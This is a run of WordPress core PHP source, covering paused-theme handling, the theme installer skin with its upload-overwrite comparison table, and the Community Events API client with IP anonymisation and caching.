 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_themes
 *
 * @param string $theme Path to the theme directory relative to the themes directory.
 * @return bool True, if in the list of paused themes. False, not in the list.
 */
function is_theme_paused( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	if ( get_stylesheet() !== $theme && get_template() !== $theme ) {
		return false;
	}

	return array_key_exists( $theme, $GLOBALS['_paused_themes'] );
}

/**
 * Gets the error that was recorded for a paused theme.
 *
 * @since 5.2.0
 *
 * @global WP_Paused_Extensions_Storage $_paused_themes
 *
 * @param string $theme Path to the theme directory relative to the themes
 *                      directory.
 * @return array|false Array of error information as it was returned by
 *                     `error_get_last()`, or false if none was recorded.
 */
function wp_get_theme_error( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	if ( ! array_key_exists( $theme, $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	return $GLOBALS['_paused_themes'][ $theme ];
}

/**
 * Tries to resume a single theme.
 *
 * If a redirect was provided and a functions.php file was found, we first ensure that
 * functions.php file does not throw fatal errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the file. If the theme fails, then the redirection will not be overwritten
 * with the success message and the theme will not be resumed.
 *
 * @since 5.2.0
 *
 * @global string $wp_stylesheet_path Path to current theme's stylesheet directory.
 * @global string $wp_template_path   Path to current theme's template directory.
 *
 * @param string $theme    Single theme to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return bool|WP_Error True on success, false if `$theme` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_theme( $theme, $redirect = '' ) {
	global $wp_stylesheet_path, $wp_template_path;

	list( $extension ) = explode( '/', $theme );

	/*
	 * We'll override this later if the theme could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		$functions_path = '';
		if ( str_contains( $wp_stylesheet_path, $extension ) ) {
			$functions_path = $wp_stylesheet_path . '/functions.php';
		} elseif ( str_contains( $wp_template_path, $extension ) ) {
			$functions_path = $wp_template_path . '/functions.php';
		}

		if ( ! empty( $functions_path ) ) {
			wp_redirect(
				add_query_arg(
					'_error_nonce',
					wp_create_nonce( 'theme-resume-error_' . $theme ),
					$redirect
				)
			);

			// Load the theme's functions.php to test whether it throws a fatal error.
			ob_start();
			if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
				define( 'WP_SANDBOX_SCRAPING', true );
			}
			include $functions_path;
			ob_clean();
		}
	}

	$result = wp_paused_themes()->delete( $extension );

	if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_theme',
			__( 'Could not resume the theme.' )
		);
	}

	return true;
}

/**
 * Renders an admin notice in case some themes have been paused due to errors.
 *
 * @since 5.2.0
 *
 * @global string                       $pagenow        The filename of the current screen.
 * @global WP_Paused_Extensions_Storage $_paused_themes
 */
function paused_themes_notice() {
	if ( 'themes.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'resume_themes' ) ) {
		return;
	}

	if ( ! isset( $GLOBALS['_paused_themes'] ) || empty( $GLOBALS['_paused_themes'] ) ) {
		return;
	}

	$message = sprintf(
		'<p><strong>%s</strong><br>%s</p><p><a href="%s">%s</a></p>',
		__( 'One or more themes failed to load properly.' ),
		__( 'You can find more details and make changes on the Themes screen.' ),
		esc_url( admin_url( 'themes.php' ) ),
		__( 'Go to the Themes screen' )
	);
	wp_admin_notice(
		$message,
		array(
			'type'           => 'error',
			'paragraph_wrap' => false,
		)
	);
}
<?php
/**
 * Upgrader API: Theme_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Installer Skin for the WordPress Theme Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;
	public $url;
	public $overwrite;

	private $is_downgrading = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'type'      => 'web',
			'url'       => '',
			'theme'     => '',
			'nonce'     => '',
			'title'     => '',
			'overwrite' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->type      = $args['type'];
		$this->url       = $args['url'];
		$this->api       = isset( $args['api'] ) ? $args['api'] : array();
		$this->overwrite = $args['overwrite'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action before installing a theme.
	 *
	 * @since 2.8.0
	 */
	public function before() {
		if ( ! empty( $this->api ) ) {
			$this->upgrader->strings['process_success'] = sprintf(
				$this->upgrader->strings['process_success_specific'],
				$this->api->name,
				$this->api->version
			);
		}
	}

	/**
	 * Hides the `process_failed` error when updating a theme by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		if (
			'upload' === $this->type &&
			'' === $this->overwrite &&
			$wp_error->get_error_code() === 'folder_exists'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Performs an action following a single theme install.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		if ( $this->do_overwrite() ) {
			return;
		}

		if ( empty( $this->upgrader->result['destination_name'] ) ) {
			return;
		}

		$theme_info = $this->upgrader->theme_info();
		if ( empty( $theme_info ) ) {
			return;
		}

		$name       = $theme_info->display( 'Name' );
		$stylesheet = $this->upgrader->result['destination_name'];
		$template   = $theme_info->get_template();

		$activate_link = add_query_arg(
			array(
				'action'     => 'activate',
				'template'   => urlencode( $template ),
				'stylesheet' => urlencode( $stylesheet ),
			),
			admin_url( 'themes.php' )
		);
		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

		$install_actions = array();

		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) && ! $theme_info->is_block_theme() ) {
			$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'web' === $this->type ? 'theme-install.php' : 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

			$install_actions['preview'] = sprintf(
				'<a href="%s" class="hide-if-no-customize load-customize">' .
				'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
				esc_url( $customize_url ),
				__( 'Live Preview' ),
				/* translators: Hidden accessibility text. %s: Theme name. */
				sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
			);
		}

		$install_actions['activate'] = sprintf(
			'<a href="%s" class="activatelink">' .
			'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
			esc_url( $activate_link ),
			_x( 'Activate', 'theme' ),
			/* translators: Hidden accessibility text. %s: Theme name. */
			sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
		);

		if ( is_network_admin() && current_user_can( 'manage_network_themes' ) ) {
			$install_actions['network_enable'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ),
				__( 'Network Enable' )
			);
		}

		if ( 'web' === $this->type ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'theme-install.php' ),
				__( 'Go to Theme Installer' )
			);
		} elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			);
		}

		if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() || ! current_user_can( 'switch_themes' ) ) {
			unset( $install_actions['activate'], $install_actions['preview'] );
		} elseif ( get_option( 'template' ) === $stylesheet ) {
			unset( $install_actions['activate'] );
		}

		/**
		 * Filters the list of action links available following a single theme installation.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param string   $stylesheet      Theme directory name.
		 * @param WP_Theme $theme_info      Theme object.
		 */
		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
		if ( ! empty( $install_actions ) ) {
			$this->feedback( implode( ' | ', (array) $install_actions ) );
		}
	}

	/**
	 * Checks if the theme can be overwritten and outputs the HTML for overwriting a theme on upload.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether the theme can be overwritten and HTML was outputted.
	 */
	private function do_overwrite() {
		if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) {
			return false;
		}

		$folder = $this->result->get_error_data( 'folder_exists' );
		$folder = rtrim( $folder, '/' );

		$current_theme_data = false;
		$all_themes         = wp_get_themes( array( 'errors' => null ) );

		foreach ( $all_themes as $theme ) {
			$stylesheet_dir = wp_normalize_path( $theme->get_stylesheet_directory() );

			if ( rtrim( $stylesheet_dir, '/' ) !== $folder ) {
				continue;
			}

			$current_theme_data = $theme;
		}

		$new_theme_data = $this->upgrader->new_theme_data;

		if ( ! $current_theme_data || ! $new_theme_data ) {
			return false;
		}

		echo '<h2 class="update-from-upload-heading">' . esc_html__( 'This theme is already installed.' ) . '</h2>';

		// Check errors for active theme.
		if ( is_wp_error( $current_theme_data->errors() ) ) {
			$this->feedback( 'current_theme_has_errors', $current_theme_data->errors()->get_error_message() );
		}

		$this->is_downgrading = version_compare( $current_theme_data['Version'], $new_theme_data['Version'], '>' );

		$is_invalid_parent = false;
		if ( ! empty( $new_theme_data['Template'] ) ) {
			$is_invalid_parent = ! in_array( $new_theme_data['Template'], array_keys( $all_themes ), true );
		}

		$rows = array(
			'Name'        => __( 'Theme name' ),
			'Version'     => __( 'Version' ),
			'Author'      => __( 'Author' ),
			'RequiresWP'  => __( 'Required WordPress version' ),
			'RequiresPHP' => __( 'Required PHP version' ),
			'Template'    => __( 'Parent theme' ),
		);

		$table  = '<table class="update-from-upload-comparison"><tbody>';
		$table .= '<tr><th></th><th>' . esc_html_x( 'Active', 'theme' ) . '</th><th>' . esc_html_x( 'Uploaded', 'theme' ) . '</th></tr>';

		$is_same_theme = true; // Let's consider only these rows.

		foreach ( $rows as $field => $label ) {
			$old_value = $current_theme_data->display( $field, false );
			$old_value = $old_value ? (string) $old_value : '-';

			$new_value = ! empty( $new_theme_data[ $field ] ) ? (string) $new_theme_data[ $field ] : '-';

			if ( $old_value === $new_value && '-' === $new_value && 'Template' === $field ) {
				continue;
			}

			$is_same_theme = $is_same_theme && ( $old_value === $new_value );

			$diff_field     = ( 'Version' !== $field && $new_value !== $old_value );
			$diff_version   = ( 'Version' === $field && $this->is_downgrading );
			$invalid_parent = false;

			if ( 'Template' === $field && $is_invalid_parent ) {
				$invalid_parent = true;
				$new_value     .= ' ' . __( '(not found)' );
			}

			$table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>';
			$table .= ( $diff_field || $diff_version || $invalid_parent ) ? '<td class="warning">' : '<td>';
			$table .= wp_strip_all_tags( $new_value ) . '</td></tr>';
		}

		$table .= '</tbody></table>';

		/**
		 * Filters the compare table output for overwriting a theme package on upload.
		 *
		 * @since 5.5.0
		 *
		 * @param string   $table              The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
		 * @param WP_Theme $current_theme_data Active theme data.
		 * @param array    $new_theme_data     Array with uploaded theme data.
		 */
		echo apply_filters( 'install_theme_overwrite_comparison', $table, $current_theme_data, $new_theme_data );

		$install_actions = array();
		$can_update      = true;

		$blocked_message  = '<p>' . esc_html__( 'The theme cannot be updated due to the following:' ) . '</p>';
		$blocked_message .= '<ul class="ul-disc">';

		$requires_php = isset( $new_theme_data['RequiresPHP'] ) ? $new_theme_data['RequiresPHP'] : null;
		$requires_wp  = isset( $new_theme_data['RequiresWP'] ) ? $new_theme_data['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
				__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				get_bloginfo( 'version' ),
				$requires_wp
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		$blocked_message .= '</ul>';

		if ( $can_update ) {
			if ( $this->is_downgrading ) {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are uploading an older version of the active theme. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			} else {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are updating a theme. Be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			}

			echo '<p class="update-from-upload-notice">' . $warning . '</p>';

			$overwrite = $this->is_downgrading ? 'downgrade-theme' : 'update-theme';

			$install_actions['overwrite_theme'] = sprintf(
				'<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>',
				wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'theme-upload' ),
				_x( 'Replace active with uploaded', 'theme' )
			);
		} else {
			echo $blocked_message;
		}

		$cancel_url = add_query_arg( 'action', 'upload-theme-cancel-overwrite', $this->url );

		$install_actions['themes_page'] = sprintf(
			'<a class="button" href="%s" target="_parent">%s</a>',
			wp_nonce_url( $cancel_url, 'theme-upload-cancel-overwrite' ),
			__( 'Cancel and go back' )
		);

		/**
		 * Filters the list of action links available following a single theme installation failure
		 * when overwriting is allowed.
		 *
		 * @since 5.5.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param array    $new_theme_data  Array with uploaded theme data.
		 */
		$install_actions = apply_filters( 'install_theme_overwrite_actions', $install_actions, $this->api, $new_theme_data );

		if ( ! empty( $install_actions ) ) {
			printf(
				'<p class="update-from-upload-expired hidden">%s</p>',
				__( 'The uploaded file has expired. Please go back and upload it again.' )
			);
			echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>';
		}

		return true;
	}
}
<?php
/**
 * Administration: Community Events class.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.8.0
 */

/**
 * Class WP_Community_Events.
 *
 * A client for api.wordpress.org/events.
 *
 * @since 4.8.0
 */
#[AllowDynamicProperties]
class WP_Community_Events {
	/**
	 * ID for a WordPress user account.
	 *
	 * @since 4.8.0
	 *
	 * @var int
	 */
	protected $user_id = 0;

	/**
	 * Stores location data for the user.
	 *
	 * @since 4.8.0
	 *
	 * @var false|array
	 */
	protected $user_location = false;

	/**
	 * Constructor for WP_Community_Events.
	 *
	 * @since 4.8.0
	 *
	 * @param int        $user_id       WP user ID.
	 * @param false|array $user_location {
	 *     Stored location data for the user. false to pass no location.
	 *
	 *     @type string $description The name of the location
	 *     @type string $latitude    The latitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: 47.615200.
	 *     @type string $longitude   The longitude in decimal degrees notation, without the degree
	 *                               symbol. e.g.: -122.341100.
	 *     @type string $country     The ISO 3166-1 alpha-2 country code. e.g.: BR
	 * }
	 */
	public function __construct( $user_id, $user_location = false ) {
		$this->user_id       = absint( $user_id );
		$this->user_location = $user_location;
	}

	/**
	 * Gets data about events near a particular location.
	 *
	 * Cached events will be immediately returned if the `user_location` property
	 * is set for the current user, and cached events exist for that location.
	 *
	 * Otherwise, this method sends a request to the w.org Events API with location
	 * data. The API will send back a recognized location based on the data, along
	 * with nearby events.
	 *
	 * The browser's request for events is proxied with this method, rather
	 * than having the browser make the request directly to api.wordpress.org,
	 * because it allows results to be cached server-side and shared with other
	 * users and sites in the network. This makes the process more efficient,
	 * since increasing the number of visits that get cached data means users
	 * don't have to wait as often; if the user's browser made the request
	 * directly, it would also need to make a second request to WP in order to
	 * pass the data for caching. Having WP make the request also introduces
	 * the opportunity to anonymize the IP before sending it to w.org, which
	 * mitigates possible privacy concerns.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @param string $location_search Optional. City name to help determine the location.
	 *                                e.g., "Seattle". Default empty string.
	 * @param string $timezone        Optional. Timezone to help determine the location.
	 *                                Default empty string.
	 * @return array|WP_Error A WP_Error on failure; an array with location and events on
	 *                        success.
	 */
	public function get_events( $location_search = '', $timezone = '' ) {
		$cached_events = $this->get_cached_events();

		if ( ! $location_search && $cached_events ) {
			return $cached_events;
		}

		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$api_url                    = 'http://api.wordpress.org/events/1.0/';
		$request_args               = $this->get_request_args( $location_search, $timezone );
		$request_args['user-agent'] = 'WordPress/' . $wp_version . '; ' . home_url( '/' );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$api_url = set_url_scheme( $api_url, 'https' );
		}

		$response       = wp_remote_get( $api_url, $request_args );
		$response_code  = wp_remote_retrieve_response_code( $response );
		$response_body  = json_decode( wp_remote_retrieve_body( $response ), true );
		$response_error = null;

		if ( is_wp_error( $response ) ) {
			$response_error = $response;
		} elseif ( 200 !== $response_code ) {
			$response_error = new WP_Error(
				'api-error',
				/* translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */
				sprintf( __( 'Invalid API response code (%d).' ), $response_code )
			);
		} elseif ( ! isset( $response_body['location'], $response_body['events'] ) ) {
			$response_error = new WP_Error(
				'api-invalid-response',
				isset( $response_body['error'] ) ? $response_body['error'] : __( 'Unknown API error.' )
			);
		}

		if ( is_wp_error( $response_error ) ) {
			return $response_error;
		} else {
			$expiration = false;

			if ( isset( $response_body['ttl'] ) ) {
				$expiration = $response_body['ttl'];
				unset( $response_body['ttl'] );
			}

			/*
			 * The IP in the response is usually the same as the one that was sent
			 * in the request, but in some cases it is different. In those cases,
			 * it's important to reset it back to the IP from the request.
			 *
			 * For example, if the IP sent in the request is private (e.g., 192.168.1.100),
			 * then the API will ignore that and use the corresponding public IP instead,
			 * and the public IP will get returned. If the public IP were saved, though,
			 * then get_cached_events() would always return `false`, because the transient
			 * would be generated based on the public IP when saving the cache, but generated
			 * based on the private IP when retrieving the cache.
			 */
			if ( ! empty( $response_body['location']['ip'] ) ) {
				$response_body['location']['ip'] = $request_args['body']['ip'];
			}

			/*
			 * The API doesn't return a description for latitude/longitude requests,
			 * but the description is already saved in the user location, so that
			 * one can be used instead.
			 */
			if ( $this->coordinates_match( $request_args['body'], $response_body['location'] ) && empty( $response_body['location']['description'] ) ) {
				$response_body['location']['description'] = $this->user_location['description'];
			}

			/*
			 * Store the raw response, because events will expire before the cache does.
			 * The response will need to be processed every page load.
			 */
			$this->cache_events( $response_body, $expiration );

			$response_body['events'] = $this->trim_events( $response_body['events'] );

			return $response_body;
		}
	}

	/**
	 * Builds an array of args to use in an HTTP request to the w.org Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param string $search   Optional. City search string. Default empty string.
	 * @param string $timezone Optional. Timezone string. Default empty string.
	 * @return array The request args.
	 */
	protected function get_request_args( $search = '', $timezone = '' ) {
		$args = array(
			'number' => 5, // Get more than three in case some get trimmed out.
			'ip'     => self::get_unsafe_client_ip(),
		);

		/*
		 * Include the minimal set of necessary arguments, in order to increase the
		 * chances of a cache-hit on the API side.
		 */
		if ( empty( $search ) && isset( $this->user_location['latitude'], $this->user_location['longitude'] ) ) {
			$args['latitude']  = $this->user_location['latitude'];
			$args['longitude'] = $this->user_location['longitude'];
		} else {
			$args['locale'] = get_user_locale( $this->user_id );

			if ( $timezone ) {
				$args['timezone'] = $timezone;
			}

			if ( $search ) {
				$args['location'] = $search;
			}
		}

		// Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
		return array(
			'body' => $args,
		);
	}

	/**
	 * Determines the user's actual IP address and attempts to partially
	 * anonymize an IP address by converting it to a network ID.
	 *
	 * Geolocating the network ID usually returns a similar location as the
	 * actual IP, but provides some privacy for the user.
	 *
	 * $_SERVER['REMOTE_ADDR'] cannot be used in all cases, such as when the user
	 * is making their request through a proxy, or when the web server is behind
	 * a proxy. In those cases, $_SERVER['REMOTE_ADDR'] is set to the proxy address rather
	 * than the user's actual address.
	 *
	 * Modified from https://stackoverflow.com/a/2031935/450127, MIT license.
	 * Modified from https://github.com/geertw/php-ip-anonymizer, MIT license.
	 *
	 * SECURITY WARNING: This function is _NOT_ intended to be used in
	 * circumstances where the authenticity of the IP address matters. This does
	 * _NOT_ guarantee that the returned address is valid or accurate, and it can
	 * be easily spoofed.
	 *
	 * @since 4.8.0
	 *
	 * @return string|false The anonymized address on success; the given address
	 *                      or false on failure.
	 */
	public static function get_unsafe_client_ip() {
		$client_ip = false;

		// In order of preference, with the best ones for this purpose first.
		$address_headers = array(
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		);

		foreach ( $address_headers as $header ) {
			if ( array_key_exists( $header, $_SERVER ) ) {
				/*
				 * HTTP_X_FORWARDED_FOR can contain a chain of comma-separated
				 * addresses. The first one is the original client. It can't be
				 * trusted for authenticity, but we don't need to for this purpose.
				 */
				$address_chain = explode( ',', $_SERVER[ $header ] );
				$client_ip     = trim( $address_chain[0] );

				break;
			}
		}

		if ( ! $client_ip ) {
			return false;
		}

		$anon_ip = wp_privacy_anonymize_ip( $client_ip, true );

		if ( '0.0.0.0' === $anon_ip || '::' === $anon_ip ) {
			return false;
		}

		return $anon_ip;
	}

	/**
	 * Test if two pairs of latitude/longitude coordinates match each other.
	 *
	 * @since 4.8.0
	 *
	 * @param array $a The first pair, with indexes 'latitude' and 'longitude'.
	 * @param array $b The second pair, with indexes 'latitude' and 'longitude'.
	 * @return bool True if they match, false if they don't.
	 */
	protected function coordinates_match( $a, $b ) {
		if ( ! isset( $a['latitude'], $a['longitude'], $b['latitude'], $b['longitude'] ) ) {
			return false;
		}

		return $a['latitude'] === $b['latitude'] && $a['longitude'] === $b['longitude'];
	}

	/**
	 * Generates a transient key based on user location.
	 *
	 * This could be reduced to a one-liner in the calling functions, but it's
	 * intentionally a separate function because it's called from multiple
	 * functions, and having it abstracted keeps the logic consistent and DRY,
	 * which is less prone to errors.
	 *
	 * @since 4.8.0
	 *
	 * @param array $location Should contain 'latitude' and 'longitude' indexes.
	 * @return string|false Transient key on success, false on failure.
	 */
	protected function get_events_transient_key( $location ) {
		$key = false;

		if ( isset( $location['ip'] ) ) {
			$key = 'community-events-' . md5( $location['ip'] );
		} elseif ( isset( $location['latitude'], $location['longitude'] ) ) {
			$key = 'community-events-' . md5( $location['latitude'] . $location['longitude'] );
		}

		return $key;
	}

	/**
	 * Caches an array of events data from the Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param array     $events     Response body from the API request.
	 * @param int|false $expiration Optional. Amount of time to cache the events. Defaults to false.
	 * @return bool true if events were cached; false if not.
	 */
	protected function cache_events( $events, $expiration = false ) {
		$set              = false;
		$transient_key    = $this->get_events_transient_key( $events['location'] );
		$cache_expiration = $expiration ? absint( $expiration ) : HOUR_IN_SECONDS * 12;

		if ( $transient_key ) {
			$set = set_site_transient( $transient_key, $events, $cache_expiration );
		}

		return $set;
	}

	/**
	 * Gets cached events.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @return array|false An array containing `location` and `events` items
	 *                     on success, false on failure.
	 */
	public function get_cached_events() {
		$transient_key = $this->get_events_transient_key( $this->user_location );
		if ( ! $transient_key ) {
			return false;
		}

		$cached_response = get_site_transient( $transient_key );
		if ( isset( $cached_response['events'] ) ) {
			$cached_response['events'] = $this->trim_events( $cached_response['events'] );
		}

		return $cached_response;
	}

	/**
	 * Adds formatted date and time items for each event in an API response.
	 *
	 * This has to be called after the data is pulled from the cache, because
	 * the cached events are shared by all users. If it was called before storing
	 * the cache, then all users would see the events in the localized data/time
	 * of the user who triggered the cache refresh, rather than their own.
	 *
	 * @since 4.8.0
	 * @deprecated 5.6.0 No longer used in core.
	 *
	 * @param array $response_body The response which contains the events.
	 * @return array The response with dates and times formatted.
	 */
	protected function format_event_data_time( $response_body ) {
		_deprecated_function(
			__METHOD__,
			'5.5.2',
			'This is no longer used by core, and only kept for backward compatibility.'
		);

		if ( isset( $response_body['events'] ) ) {
			foreach ( $response_body['events'] as $key => $event ) {
				$timestamp = strtotime( $event['date'] );

				/*
				 * The `date_format` option is not used because it's important
				 * in this context to keep the day of the week in the formatted date,
				 * so that users can tell at a glance if the event is on a day they
				 * are available, without having to open the link.
				 */
				/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
				$formatted_date = date_i18n( __( 'l, M j, Y' ), $timestamp );
				$formatted_time = date_i18n( get_option( 'time_format' ), $timestamp );

				if ( isset( $event['end_date'] ) ) {
					$end_timestamp      = strtotime( $event['end_date'] );
					$formatted_end_date = date_i18n( __( 'l, M j, Y' ), $end_timestamp );

					if ( 'meetup' !== $event['type'] && $formatted_end_date !== $formatted_date ) {
						/* translators: Upcoming events month format. See https://www.php.net/manual/datetime.format.php */
						$start_month = date_i18n( _x( 'F', 'upcoming events month format' ), $timestamp );
						$end_month   = date_i18n( _x( 'F', 'upcoming events month format' ), $end_timestamp );

						if ( $start_month === $end_month ) {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
								__( '%1$s %2$d–%3$d, %4$d' ),
								$start_month,
								/* translators: Upcoming events day format. See https://www.php.net/manual/datetime.format.php */
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								/* translators: Upcoming events year format. See https://www.php.net/manual/datetime.format.php */
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						} else {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Year. */
								__( '%1$s %2$d – %3$s %4$d, %5$d' ),
								$start_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								$end_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						}

						$formatted_date = wp_maybe_decline_date( $formatted_date, 'F j, Y' );
					}
				}

				$response_body['events'][ $key ]['formatted_date'] = $formatted_date;
				$response_body['events'][ $key ]['formatted_time'] = $formatted_time;
			}
		}

		return $response_body;
	}

	/**
	 * Prepares the event list for presentation.
	 *
	 * Discards expired events, and makes WordCamps "sticky." Attendees need more
	 * advanced notice about WordCamps than they do for meetups, so camps should
	 * appear in the list sooner. If a WordCamp is coming up, the API will "stick"
	 * it in the response, even if it wouldn't otherwise appear. When that happens,
	 * the event will be at the end of the list, and will need to be moved into a
	 * higher position, so that it doesn't get trimmed off.
	 *
	 * @since 4.8.0
	 * @since 4.9.7 Stick a WordCamp to the final list.
	 * @since 5.5.2 Accepts and returns only the events, rather than an entire HTTP response.
	 * @since 6.0.0 Decode HTML entities from the event title.
	 *
	 * @param array $events The events that will be prepared.
	 * @return array The response body with events trimmed.
	 */
	protected function trim_events( array $events ) {
		$future_events = array();

		foreach ( $events as $event ) {
			/*
			 * The API's `date` and `end_date` fields are in the _event's_ local timezone, but UTC is needed so
			 * it can be converted to the _user's_ local time.
			 */
			$end_time = (int) $event['end_unix_timestamp'];

			if ( time() < $end_time ) {
				// Decode HTML entities from the event title.
				$event['title'] = html_entity_decode( $event['title'], ENT_QUOTES, 'UTF-8' );

				array_push( $future_events, $event );
			}
		}

		$future_wordcamps = array_filter(
			$future_events,
			static function ( $wordcamp ) {
				return 'wordcamp' === $wordcamp['type'];
			}
		);

		$future_wordcamps    = array_values( $future_wordcamps ); // Remove gaps in indices.
		$trimmed_events      = array_slice( $future_events, 0, 3 );
		$trimmed_event_types = wp_list_pluck( $trimmed_events, 'type' );

		// Make sure the soonest upcoming WordCamp is pinned in the list.
		if ( $future_wordcamps && ! in_array( 'wordcamp', $trimmed_event_types, true ) ) {
			array_pop( $trimmed_events );
			array_push( $trimmed_events, $future_wordcamps[0] );
		}

		return $trimmed_events;
	}

	/**
	 * Logs responses to Events API requests.
	 *
	 * @since 4.8.0
	 * @deprecated 4.9.0 Use a plugin instead. See #41217 for an example.
	 *
	 * @param string $message A description of what occurred.
	 * @param array  $details Details that provide more context for the
	 *                        log entry.
	 */
	protected function maybe_log_events_response( $message, $details ) {
		_deprecated_function( __METHOD__, '4.9.0' );

		if ( ! WP_DEBUG_LOG ) {
			return;
		}

		error_log(
			sprintf(
				'%s: %s. Details: %s',
				__METHOD__,
				trim( $message, '.' ),
				wp_json_encode( $details )
			)
		);
	}
}
<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined( 'WP_ADMIN' ) ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
